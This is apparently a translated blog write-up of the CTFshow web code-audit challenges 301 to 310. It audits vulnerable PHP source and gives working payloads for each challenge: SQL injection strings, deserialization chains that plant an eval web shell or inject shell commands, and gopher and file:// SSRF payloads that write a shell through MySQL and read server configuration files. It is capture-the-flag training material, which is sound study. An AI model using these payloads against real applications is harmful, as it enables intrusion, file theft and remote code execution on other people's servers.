CTFshow-WEB entry-code audit

Preface

Start happy code audit articles.

web301

Download the source code to analyze a wave, most of which are useless files, mainly in checklogin.php:

$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
    
    
	$_SESSION['error']="1";
	header("location:login.php");
	return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
    
    
	$_SESSION['login']=1;
	$result->free();
	$mysqli->close();
	header("location:index.php");
	return;
}

Unfiltered SQL injection, just make the detected content equal to the password passed in the post, and use union injection:

userid=-1' union select 1%23&userpwd=1

You can see the flag after logging in successfully.

web302

Changed here:

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
    
    
function sds_decode($str){
    
    
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}

In fact, it has no effect. To put it bluntly, just change the value detected by the joint injection so that the value is the sds_decode()same as the result of the password sent by your post after being processed by this function. :

userid=-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'%23&userpwd=1

web303

After downloading the source code, I found two new php files and a .sql. I looked at the .sql and found this:

INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');

The username and password are also given, and it feels wrong. Let’s take a look at the previous checklogin.php:

if(strlen($username)>6){
    
    
	die();
}

It should be impossible to inject, try to log in directly, if it succeeds, then it's okay. Take a look at the newly added php file, there are new injection points:

	$dpt_name=$_POST['dpt_name'];
	$dpt_address=$_POST['dpt_address'];
	$dpt_build_year=$_POST['dpt_build_year'];
	$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
	$dpt_cert_number=$_POST['dpt_cert_number'];
	$dpt_telephone_number=$_POST['dpt_telephone_number'];
	$mysqli->query("set names utf-8");
	$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
	$result=$mysqli->query($sql);

Or insert injection without filtering, just inject directly.

dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&dpt_telephone_number=
dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23&dpt_telephone_number=
dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(flag) from sds_fl9g)%23&dpt_telephone_number=

web304

It said that waf was added, but I didn't feel it was added. . The above payload can still be used.

web305

Added class.php, hole for deserialization:

	public function __destruct(){
    
    
		file_put_contents($this->username, $this->password);
	}

Quite simple, there is nothing to say, just write one and check the flag immediately:
Insert picture description here

You can also directly connect to the database, pay attention to change the type to mysqli, and then the password in the source code given is false, go to conn.php to find:
Insert picture description here

Flag can also be found inside.

web306

The code of the mvc structure, roughly review, look at class.php and dao.php to know the test point:

'class.php'
class log{
    
    
	public $title='log.txt';
	public $info='';
	public function loginfo($info){
    
    
		$this->info=$this->info.$info;
	}
	public function close(){
    
    
		file_put_contents($this->title, $this->info);
	}

}
'dao.php'
	public function __destruct(){
    
    
		$this->conn->close();
	}

Obviously deserialization, search for unserialize globally, and find that login.php and index.php are both available, but login.php cannot be used because dao.php and class.php are needed, login.php only requires class.php, but index.php requires dao.php, and dao.php requires class.php, so index.php can. :

<?php
class log{
    
    
    public $title='1.php';
    public $info='<?php eval($_POST[0]);?>';
}
class dao{
    
    
    private $conn;

    public function __construct(){
    
    
        $this->conn=new log();
    }
}
echo base64_encode(serialize(new dao()));

Generate the payload and hit it directly, and then find flag.php.

web307

Now I changed the name class.phpof the close()method inside. I closelog()looked for it globally. Only this place is available, so this method is likely to be dead. It can 可控变量->(可控变量)only be used unless such a place can be found .
Considering that there is not much code, review these codes in detail again. One place that caught my attention, the service class __wakeup:

	public function __wakeup(){
    
    
		$this->config=new config();
		$this->dao=new dao();
	}

The test site for this question must have been deserialized, but here __wakeupis a question that should allow us to bypass this __wakeup? But I took a look at the topic of the environment is php7.3, does not meet the bypass conditions:

PHP5 < 5.6.25

PHP7 < 7.0.10

Looking again, I found logout.php here:

$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    
    
	$service->clearCache();
}

When I saw the clearCache()method, I suddenly thought that when I saw this method before, I was thinking that if $configI can control it, I can execute commands at will. :

	public function  clearCache(){
    
    
		shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
	}

After a look, it is indeed controllable, so you can construct a POC, but it should be noted that the dao class is serialized instead of the service class, because the service class has the same method name as __wakeupthe dao class and service class clearCache. , Just available. Guess the next question directly to find the method, which method name appears twice in the two classes, then this method is the test site?

Construct a POC:

<?php
class config{
    
    
    public $cache_dir = 'cache/*;cat /var/www/html/flag.php > /var/www/html/2.txt;';
}
class dao
{
    
    
    private $config;

    public function __construct()
    {
    
    
        $this->config = new config();
    }
}
echo base64_encode(serialize(new dao()));

Type directly, and then access 2.txt:
Insert picture description here

web308

By comparison, you will find that this is added:

	public function checkVersion(){
    
    
		return checkUpdate($this->config->update_url);
	}
function checkUpdate($url){
    
    
		$ch=curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

It must be that ssrf didn't run. Take a look at config.php, the mysql username is root and the password is empty, and mysql is properly typed. But here is what I am obsessed with:

if(!isset($_SESSION['login'])){
    
    
header("location:login.php");
}
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    
    
    $lastVersion=$service->checkVersion();
}

I thought I needed to log in successfully to execute the payload, but I couldn't inject sql, nor was it a weak password. How can I log in successfully? At this time, I guess the code behind the header can still be executed? Checked it, it's true tm can. . The code after the header jump can still be executed normally. This is an inherent misunderstanding of mine. I learned what I learned.
Once you know it, hit mysql, use the tool to generate gopher, and then write the POC:

<?php
class config{
    
    
    public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%30%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%01%00%00%00%01';
}
class dao{
    
    
    private $config;

    public function __construct(){
    
    
        $this->config=new config();
    }
}
echo base64_encode(serialize(new dao()));

Just go and hit, and then get the shell, just look for the flag file. Learned learned.

web309

Since mysql has a password and can't be typed, redis and fastcgi are basically left after thinking about it. I use dict to detect it. It seems that there is no redis, so there is a high probability of fastcgi, but I am also confused about how to determine the existence of fastcgi. Take a look at Master Yu’s method and judge the delay of the gopher protocol:

gopher://127.0.0.1:9000/

After judging the existence, the tool generates: just
Insert picture description here
hit it directly:
Insert picture description here

web310

I thought it would play redis. After testing it, I found that 9000 still exists. Then I typed it the same way. I found that I could not read /var/www/html/f*. Use the find command to find the flag, and it was found in /var/ flag, but I can't read it how to read it. It's fascinating.
I took a look at the posture of Master Yu, reading nginx.conf and reading this configuration file:

<?php
class config{
    
    
    public $update_url ="file:///etc/nginx/nginx.conf";
}
class dao{
    
    
    private $config;

    public function __construct(){
    
    
        $this->config=new config();
    }
}
echo base64_encode(serialize(new dao()));

As for the path of this file, you can find it through the find command.
Got this:

server {
    
    
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;

Then read it:

<?php
class config{
    
    
    public $update_url ="http://127.0.0.1:4476/";
}
class dao{
    
    
    private $config;

    public function __construct(){
    
    
        $this->config=new config();
    }
}
echo base64_encode(serialize(new dao()));

I also learned that nginx can connect to PHP through fastcgi, so there will be important information in the nginx configuration file, in addition to port forwarding, etc., some important information may be included in the configuration file. After learning, learning.
At this point, the code audit chapter is over.

Guess you like

Origin blog.csdn.net/rfrder/article/details/113924013